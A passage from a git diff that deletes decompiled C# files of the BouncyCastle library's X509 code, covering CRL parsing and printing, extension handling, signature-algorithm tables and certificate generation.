").Append(IssuerDN).Append(newLine); - stringBuilder.Append(" This update: ").Append(ThisUpdate).Append(newLine); - stringBuilder.Append(" Next update: ").Append(NextUpdate).Append(newLine); - stringBuilder.Append(" Signature Algorithm: ").Append(SigAlgName).Append(newLine); - byte[] signature = GetSignature(); - stringBuilder.Append(" Signature: "); - stringBuilder.Append(Hex.ToHexString(signature, 0, 20)).Append(newLine); - for (int i = 20; i < signature.Length; i += 20) - { - int length = System.Math.Min(20, signature.Length - i); - stringBuilder.Append(" "); - stringBuilder.Append(Hex.ToHexString(signature, i, length)).Append(newLine); - } - X509Extensions extensions = c.TbsCertList.Extensions; - if (extensions != null) - { - IEnumerator enumerator = extensions.ExtensionOids.GetEnumerator(); - if (enumerator.MoveNext()) - { - stringBuilder.Append(" Extensions: ").Append(newLine); - } - do - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)enumerator.Current; - X509Extension extension = extensions.GetExtension(derObjectIdentifier); - if (extension.Value != null) - { - Asn1Object asn1Object = X509ExtensionUtilities.FromExtensionValue(extension.Value); - stringBuilder.Append(" critical(").Append(extension.IsCritical).Append(") "); - try - { - if (derObjectIdentifier.Equals(X509Extensions.CrlNumber)) - { - stringBuilder.Append(new CrlNumber(DerInteger.GetInstance(asn1Object).PositiveValue)).Append(newLine); - continue; - } - if (derObjectIdentifier.Equals(X509Extensions.DeltaCrlIndicator)) - { - stringBuilder.Append("Base CRL: " + new CrlNumber(DerInteger.GetInstance(asn1Object).PositiveValue)).Append(newLine); - continue; - } - if (derObjectIdentifier.Equals(X509Extensions.IssuingDistributionPoint)) - { - stringBuilder.Append(IssuingDistributionPoint.GetInstance((Asn1Sequence)asn1Object)).Append(newLine); - continue; - } - if (derObjectIdentifier.Equals(X509Extensions.CrlDistributionPoints)) - { - stringBuilder.Append(CrlDistPoint.GetInstance((Asn1Sequence)asn1Object)).Append(newLine); - continue; - } - if (derObjectIdentifier.Equals(X509Extensions.FreshestCrl)) - { - stringBuilder.Append(CrlDistPoint.GetInstance((Asn1Sequence)asn1Object)).Append(newLine); - continue; - } - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append(Asn1Dump.DumpAsString(asn1Object)).Append(newLine); - } - catch (Exception) - { - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append("*****").Append(newLine); - } - } - else - { - stringBuilder.Append(newLine); - } - } - while (enumerator.MoveNext()); - } - ISet revokedCertificates = GetRevokedCertificates(); - if (revokedCertificates != null) - { - foreach (X509CrlEntry item in revokedCertificates) - { - stringBuilder.Append(item); - stringBuilder.Append(newLine); - } - } - return stringBuilder.ToString(); - } - - public virtual bool IsRevoked(X509Certificate cert) - { - CrlEntry[] revokedCertificates = c.GetRevokedCertificates(); - if (revokedCertificates != null) - { - BigInteger serialNumber = cert.SerialNumber; - for (int i = 0; i < revokedCertificates.Length; i++) - { - if (revokedCertificates[i].UserCertificate.Value.Equals(serialNumber)) - { - return true; - } - } - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlEntry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlEntry.cs deleted file mode 100644 index c3d187e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlEntry.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Utilities; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509; - -public class X509CrlEntry : X509ExtensionBase -{ - private CrlEntry c; - - private bool isIndirect; - - private X509Name previousCertificateIssuer; - - private X509Name certificateIssuer; - - public BigInteger SerialNumber => c.UserCertificate.Value; - - public DateTime RevocationDate => c.RevocationDate.ToDateTime(); - - public bool HasExtensions => c.Extensions != null; - - public X509CrlEntry(CrlEntry c) - { - this.c = c; - certificateIssuer = loadCertificateIssuer(); - } - - public X509CrlEntry(CrlEntry c, bool isIndirect, X509Name previousCertificateIssuer) - { - this.c = c; - this.isIndirect = isIndirect; - this.previousCertificateIssuer = previousCertificateIssuer; - certificateIssuer = loadCertificateIssuer(); - } - - private X509Name loadCertificateIssuer() - { - if (!isIndirect) - { - return null; - } - Asn1OctetString extensionValue = GetExtensionValue(X509Extensions.CertificateIssuer); - if (extensionValue == null) - { - return previousCertificateIssuer; - } - try - { - GeneralName[] names = GeneralNames.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)).GetNames(); - for (int i = 0; i < names.Length; i++) - { - if (names[i].TagNo == 4) - { - return X509Name.GetInstance(names[i].Name); - } - } - } - catch (Exception) - { - } - return null; - } - - public X509Name GetCertificateIssuer() - { - return certificateIssuer; - } - - protected override X509Extensions GetX509Extensions() - { - return c.Extensions; - } - - public byte[] GetEncoded() - { - try - { - return c.GetDerEncoded(); - } - catch (Exception ex) - { - throw new CrlException(ex.ToString()); - } - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append(" userCertificate: ").Append(SerialNumber).Append(newLine); - stringBuilder.Append(" revocationDate: ").Append(RevocationDate).Append(newLine); - stringBuilder.Append(" certificateIssuer: ").Append(GetCertificateIssuer()).Append(newLine); - X509Extensions extensions = c.Extensions; - if (extensions != null) - { - IEnumerator enumerator = extensions.ExtensionOids.GetEnumerator(); - if (enumerator.MoveNext()) - { - stringBuilder.Append(" crlEntryExtensions:").Append(newLine); - do - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)enumerator.Current; - X509Extension extension = extensions.GetExtension(derObjectIdentifier); - if (extension.Value != null) - { - Asn1Object asn1Object = Asn1Object.FromByteArray(extension.Value.GetOctets()); - stringBuilder.Append(" critical(").Append(extension.IsCritical).Append(") "); - try - { - if (derObjectIdentifier.Equals(X509Extensions.ReasonCode)) - { - stringBuilder.Append(new CrlReason(DerEnumerated.GetInstance(asn1Object))); - } - else if (derObjectIdentifier.Equals(X509Extensions.CertificateIssuer)) - { - stringBuilder.Append("Certificate issuer: ").Append(GeneralNames.GetInstance((Asn1Sequence)asn1Object)); - } - else - { - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append(Asn1Dump.DumpAsString(asn1Object)); - } - stringBuilder.Append(newLine); - } - catch (Exception) - { - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append("*****").Append(newLine); - } - } - else - { - stringBuilder.Append(newLine); - } - } - while (enumerator.MoveNext()); - } - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlParser.cs deleted file mode 100644 index 9ffbfc7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CrlParser.cs +++ /dev/null @@ -1,148 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.X509; - -public class X509CrlParser -{ - private static readonly PemParser PemCrlParser = new PemParser("CRL"); - - private readonly bool lazyAsn1; - - private Asn1Set sCrlData; - - private int sCrlDataObjectCount; - - private Stream currentCrlStream; - - public X509CrlParser() - : this(lazyAsn1: false) - { - } - - public X509CrlParser(bool lazyAsn1) - { - this.lazyAsn1 = lazyAsn1; - } - - private X509Crl ReadPemCrl(Stream inStream) - { - Asn1Sequence asn1Sequence = PemCrlParser.ReadPemObject(inStream); - if (asn1Sequence != null) - { - return CreateX509Crl(CertificateList.GetInstance(asn1Sequence)); - } - return null; - } - - private X509Crl ReadDerCrl(Asn1InputStream dIn) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)dIn.ReadObject(); - if (asn1Sequence.Count > 1 && asn1Sequence[0] is DerObjectIdentifier && asn1Sequence[0].Equals(PkcsObjectIdentifiers.SignedData)) - { - sCrlData = SignedData.GetInstance(Asn1Sequence.GetInstance((Asn1TaggedObject)asn1Sequence[1], explicitly: true)).Crls; - return GetCrl(); - } - return CreateX509Crl(CertificateList.GetInstance(asn1Sequence)); - } - - private X509Crl GetCrl() - { - if (sCrlData == null || sCrlDataObjectCount >= sCrlData.Count) - { - return null; - } - return CreateX509Crl(CertificateList.GetInstance(sCrlData[sCrlDataObjectCount++])); - } - - protected virtual X509Crl CreateX509Crl(CertificateList c) - { - return new X509Crl(c); - } - - public X509Crl ReadCrl(byte[] input) - { - return ReadCrl(new MemoryStream(input, writable: false)); - } - - public ICollection ReadCrls(byte[] input) - { - return ReadCrls(new MemoryStream(input, writable: false)); - } - - public X509Crl ReadCrl(Stream inStream) - { - if (inStream == null) - { - throw new ArgumentNullException("inStream"); - } - if (!inStream.CanRead) - { - throw new ArgumentException("inStream must be read-able", "inStream"); - } - if (currentCrlStream == null) - { - currentCrlStream = inStream; - sCrlData = null; - sCrlDataObjectCount = 0; - } - else if (currentCrlStream != inStream) - { - currentCrlStream = inStream; - sCrlData = null; - sCrlDataObjectCount = 0; - } - try - { - if (sCrlData != null) - { - if (sCrlDataObjectCount != sCrlData.Count) - { - return GetCrl(); - } - sCrlData = null; - sCrlDataObjectCount = 0; - return null; - } - PushbackStream pushbackStream = new PushbackStream(inStream); - int num = pushbackStream.ReadByte(); - if (num < 0) - { - return null; - } - pushbackStream.Unread(num); - if (num != 48) - { - return ReadPemCrl(pushbackStream); - } - Asn1InputStream dIn = (lazyAsn1 ? new LazyAsn1InputStream(pushbackStream) : new Asn1InputStream(pushbackStream)); - return ReadDerCrl(dIn); - } - catch (CrlException ex) - { - throw ex; - } - catch (Exception ex2) - { - throw new CrlException(ex2.ToString()); - } - } - - public ICollection ReadCrls(Stream inStream) - { - IList list = Platform.CreateArrayList(); - X509Crl value; - while ((value = ReadCrl(inStream)) != null) - { - list.Add(value); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509ExtensionBase.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509ExtensionBase.cs deleted file mode 100644 index beec4a8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509ExtensionBase.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.X509; - -public abstract class X509ExtensionBase : IX509Extension -{ - protected abstract X509Extensions GetX509Extensions(); - - protected virtual ISet GetExtensionOids(bool critical) - { - X509Extensions x509Extensions = GetX509Extensions(); - if (x509Extensions != null) - { - HashSet hashSet = new HashSet(); - { - foreach (DerObjectIdentifier extensionOid in x509Extensions.ExtensionOids) - { - X509Extension extension = x509Extensions.GetExtension(extensionOid); - if (extension.IsCritical == critical) - { - hashSet.Add(extensionOid.Id); - } - } - return hashSet; - } - } - return null; - } - - public virtual ISet GetNonCriticalExtensionOids() - { - return GetExtensionOids(critical: false); - } - - public virtual ISet GetCriticalExtensionOids() - { - return GetExtensionOids(critical: true); - } - - [Obsolete("Use version taking a DerObjectIdentifier instead")] - public Asn1OctetString GetExtensionValue(string oid) - { - return GetExtensionValue(new DerObjectIdentifier(oid)); - } - - public virtual Asn1OctetString GetExtensionValue(DerObjectIdentifier oid) - { - X509Extensions x509Extensions = GetX509Extensions(); - if (x509Extensions != null) - { - X509Extension extension = x509Extensions.GetExtension(oid); - if (extension != null) - { - return extension.Value; - } - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509KeyUsage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509KeyUsage.cs deleted file mode 100644 index 1febd08..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509KeyUsage.cs +++ /dev/null @@ -1,37 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.X509; - -public class X509KeyUsage : Asn1Encodable -{ - public const int DigitalSignature = 128; - - public const int NonRepudiation = 64; - - public const int KeyEncipherment = 32; - - public const int DataEncipherment = 16; - - public const int KeyAgreement = 8; - - public const int KeyCertSign = 4; - - public const int CrlSign = 2; - - public const int EncipherOnly = 1; - - public const int DecipherOnly = 32768; - - private readonly int usage; - - public X509KeyUsage(int usage) - { - this.usage = usage; - } - - public override Asn1Object ToAsn1Object() - { - return new KeyUsage(usage); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509SignatureUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509SignatureUtilities.cs deleted file mode 100644 index e690f6c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509SignatureUtilities.cs +++ /dev/null @@ -1,88 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.X509; - -internal class X509SignatureUtilities -{ - private static readonly Asn1Null derNull = DerNull.Instance; - - internal static void SetSignatureParameters(ISigner signature, Asn1Encodable parameters) - { - if (parameters != null) - { - derNull.Equals(parameters); - } - } - - internal static string GetSignatureName(AlgorithmIdentifier sigAlgId) - { - Asn1Encodable parameters = sigAlgId.Parameters; - if (parameters != null && !derNull.Equals(parameters)) - { - if (sigAlgId.Algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - RsassaPssParameters instance = RsassaPssParameters.GetInstance(parameters); - return GetDigestAlgName(instance.HashAlgorithm.Algorithm) + "withRSAandMGF1"; - } - if (sigAlgId.Algorithm.Equals(X9ObjectIdentifiers.ECDsaWithSha2)) - { - Asn1Sequence instance2 = Asn1Sequence.GetInstance(parameters); - return GetDigestAlgName((DerObjectIdentifier)instance2[0]) + "withECDSA"; - } - } - return sigAlgId.Algorithm.Id; - } - - private static string GetDigestAlgName(DerObjectIdentifier digestAlgOID) - { - if (PkcsObjectIdentifiers.MD5.Equals(digestAlgOID)) - { - return "MD5"; - } - if (OiwObjectIdentifiers.IdSha1.Equals(digestAlgOID)) - { - return "SHA1"; - } - if (NistObjectIdentifiers.IdSha224.Equals(digestAlgOID)) - { - return "SHA224"; - } - if (NistObjectIdentifiers.IdSha256.Equals(digestAlgOID)) - { - return "SHA256"; - } - if (NistObjectIdentifiers.IdSha384.Equals(digestAlgOID)) - { - return "SHA384"; - } - if (NistObjectIdentifiers.IdSha512.Equals(digestAlgOID)) - { - return "SHA512"; - } - if (TeleTrusTObjectIdentifiers.RipeMD128.Equals(digestAlgOID)) - { - return "RIPEMD128"; - } - if (TeleTrusTObjectIdentifiers.RipeMD160.Equals(digestAlgOID)) - { - return "RIPEMD160"; - } - if (TeleTrusTObjectIdentifiers.RipeMD256.Equals(digestAlgOID)) - { - return "RIPEMD256"; - } - if (CryptoProObjectIdentifiers.GostR3411.Equals(digestAlgOID)) - { - return "GOST3411"; - } - return digestAlgOID.Id; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Utilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Utilities.cs deleted file mode 100644 index be9e1a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Utilities.cs +++ /dev/null @@ -1,151 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.X509; - -internal class X509Utilities -{ - private static readonly IDictionary algorithms; - - private static readonly IDictionary exParams; - - private static readonly ISet noParams; - - static X509Utilities() - { - algorithms = Platform.CreateHashtable(); - exParams = Platform.CreateHashtable(); - noParams = new HashSet(); - algorithms.Add("MD2WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD2WITHRSA", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD5WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("MD5WITHRSA", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("SHA1WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA1WITHRSA", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA224WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA224WITHRSA", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA256WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA256WITHRSA", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA384WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA384WITHRSA", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA512WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA512WITHRSA", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA1WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA224WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA256WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA384WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("SHA512WITHRSAANDMGF1", PkcsObjectIdentifiers.IdRsassaPss); - algorithms.Add("RIPEMD160WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD160WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD128WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD128WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD256WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("RIPEMD256WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("SHA1WITHDSA", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("DSAWITHSHA1", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("SHA224WITHDSA", NistObjectIdentifiers.DsaWithSha224); - algorithms.Add("SHA256WITHDSA", NistObjectIdentifiers.DsaWithSha256); - algorithms.Add("SHA384WITHDSA", NistObjectIdentifiers.DsaWithSha384); - algorithms.Add("SHA512WITHDSA", NistObjectIdentifiers.DsaWithSha512); - algorithms.Add("SHA1WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("ECDSAWITHSHA1", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("SHA224WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha224); - algorithms.Add("SHA256WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha256); - algorithms.Add("SHA384WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha384); - algorithms.Add("SHA512WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha512); - algorithms.Add("GOST3411WITHGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHGOST3410-94", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHECGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHECGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - algorithms.Add("GOST3411WITHGOST3410-2001", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha1); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha224); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha256); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha384); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha512); - noParams.Add(X9ObjectIdentifiers.IdDsaWithSha1); - noParams.Add(NistObjectIdentifiers.DsaWithSha224); - noParams.Add(NistObjectIdentifiers.DsaWithSha256); - noParams.Add(NistObjectIdentifiers.DsaWithSha384); - noParams.Add(NistObjectIdentifiers.DsaWithSha512); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - AlgorithmIdentifier hashAlgId = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - exParams.Add("SHA1WITHRSAANDMGF1", CreatePssParams(hashAlgId, 20)); - AlgorithmIdentifier hashAlgId2 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha224, DerNull.Instance); - exParams.Add("SHA224WITHRSAANDMGF1", CreatePssParams(hashAlgId2, 28)); - AlgorithmIdentifier hashAlgId3 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha256, DerNull.Instance); - exParams.Add("SHA256WITHRSAANDMGF1", CreatePssParams(hashAlgId3, 32)); - AlgorithmIdentifier hashAlgId4 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha384, DerNull.Instance); - exParams.Add("SHA384WITHRSAANDMGF1", CreatePssParams(hashAlgId4, 48)); - AlgorithmIdentifier hashAlgId5 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha512, DerNull.Instance); - exParams.Add("SHA512WITHRSAANDMGF1", CreatePssParams(hashAlgId5, 64)); - } - - private static RsassaPssParameters CreatePssParams(AlgorithmIdentifier hashAlgId, int saltSize) - { - return new RsassaPssParameters(hashAlgId, new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, hashAlgId), new DerInteger(saltSize), new DerInteger(1)); - } - - internal static DerObjectIdentifier GetAlgorithmOid(string algorithmName) - { - algorithmName = Platform.ToUpperInvariant(algorithmName); - if (algorithms.Contains(algorithmName)) - { - return (DerObjectIdentifier)algorithms[algorithmName]; - } - return new DerObjectIdentifier(algorithmName); - } - - internal static AlgorithmIdentifier GetSigAlgID(DerObjectIdentifier sigOid, string algorithmName) - { - if (noParams.Contains(sigOid)) - { - return new AlgorithmIdentifier(sigOid); - } - algorithmName = Platform.ToUpperInvariant(algorithmName); - if (exParams.Contains(algorithmName)) - { - return new AlgorithmIdentifier(sigOid, (Asn1Encodable)exParams[algorithmName]); - } - return new AlgorithmIdentifier(sigOid, DerNull.Instance); - } - - internal static IEnumerable GetAlgNames() - { - return new EnumerableProxy(algorithms.Keys); - } - - internal static byte[] GetSignatureForObject(DerObjectIdentifier sigOid, string sigName, AsymmetricKeyParameter privateKey, SecureRandom random, Asn1Encodable ae) - { - if (sigOid == null) - { - throw new ArgumentNullException("sigOid"); - } - ISigner signer = SignerUtilities.GetSigner(sigName); - if (random != null) - { - signer.Init(forSigning: true, new ParametersWithRandom(privateKey, random)); - } - else - { - signer.Init(forSigning: true, privateKey); - } - byte[] derEncoded = ae.GetDerEncoded(); - signer.BlockUpdate(derEncoded, 0, derEncoded.Length); - return signer.GenerateSignature(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V1CertificateGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V1CertificateGenerator.cs deleted file mode 100644 index cb9cbb9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V1CertificateGenerator.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509; - -public class X509V1CertificateGenerator -{ - private V1TbsCertificateGenerator tbsGen; - - private DerObjectIdentifier sigOID; - - private AlgorithmIdentifier sigAlgId; - - private string signatureAlgorithm; - - public IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public X509V1CertificateGenerator() - { - tbsGen = new V1TbsCertificateGenerator(); - } - - public void Reset() - { - tbsGen = new V1TbsCertificateGenerator(); - } - - public void SetSerialNumber(BigInteger serialNumber) - { - if (serialNumber.SignValue <= 0) - { - throw new ArgumentException("serial number must be a positive integer", "serialNumber"); - } - tbsGen.SetSerialNumber(new DerInteger(serialNumber)); - } - - public void SetIssuerDN(X509Name issuer) - { - tbsGen.SetIssuer(issuer); - } - - public void SetNotBefore(DateTime date) - { - tbsGen.SetStartDate(new Time(date)); - } - - public void SetNotAfter(DateTime date) - { - tbsGen.SetEndDate(new Time(date)); - } - - public void SetSubjectDN(X509Name subject) - { - tbsGen.SetSubject(subject); - } - - public void SetPublicKey(AsymmetricKeyParameter publicKey) - { - try - { - tbsGen.SetSubjectPublicKeyInfo(SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey)); - } - catch (Exception ex) - { - throw new ArgumentException("unable to process key - " + ex.ToString()); - } - } - - [Obsolete("Not needed if Generate used with an ISignatureFactory")] - public void SetSignatureAlgorithm(string signatureAlgorithm) - { - this.signatureAlgorithm = signatureAlgorithm; - try - { - sigOID = X509Utilities.GetAlgorithmOid(signatureAlgorithm); - } - catch (Exception) - { - throw new ArgumentException("Unknown signature type requested", "signatureAlgorithm"); - } - sigAlgId = X509Utilities.GetSigAlgID(sigOID, signatureAlgorithm); - tbsGen.SetSignature(sigAlgId); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Certificate Generate(AsymmetricKeyParameter privateKey) - { - return Generate(privateKey, null); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Certificate Generate(AsymmetricKeyParameter privateKey, SecureRandom random) - { - return Generate(new Asn1SignatureFactory(signatureAlgorithm, privateKey, random)); - } - - public X509Certificate Generate(ISignatureFactory signatureCalculatorFactory) - { - tbsGen.SetSignature((AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails); - TbsCertificateStructure tbsCertificateStructure = tbsGen.GenerateTbsCertificate(); - IStreamCalculator streamCalculator = signatureCalculatorFactory.CreateCalculator(); - byte[] derEncoded = tbsCertificateStructure.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - return GenerateJcaObject(tbsCertificateStructure, (AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails, ((IBlockResult)streamCalculator.GetResult()).Collect()); - } - - private X509Certificate GenerateJcaObject(TbsCertificateStructure tbsCert, AlgorithmIdentifier sigAlg, byte[] signature) - { - return new X509Certificate(new X509CertificateStructure(tbsCert, sigAlg, new DerBitString(signature))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificate.cs deleted file mode 100644 index a18cb07..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificate.cs +++ /dev/null @@ -1,221 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509; - -public class X509V2AttributeCertificate : X509ExtensionBase, IX509AttributeCertificate, IX509Extension -{ - private readonly AttributeCertificate cert; - - private readonly DateTime notBefore; - - private readonly DateTime notAfter; - - public virtual int Version => cert.ACInfo.Version.Value.IntValue + 1; - - public virtual BigInteger SerialNumber => cert.ACInfo.SerialNumber.Value; - - public virtual AttributeCertificateHolder Holder => new AttributeCertificateHolder((Asn1Sequence)cert.ACInfo.Holder.ToAsn1Object()); - - public virtual AttributeCertificateIssuer Issuer => new AttributeCertificateIssuer(cert.ACInfo.Issuer); - - public virtual DateTime NotBefore => notBefore; - - public virtual DateTime NotAfter => notAfter; - - public virtual bool IsValidNow => IsValid(DateTime.UtcNow); - - public virtual 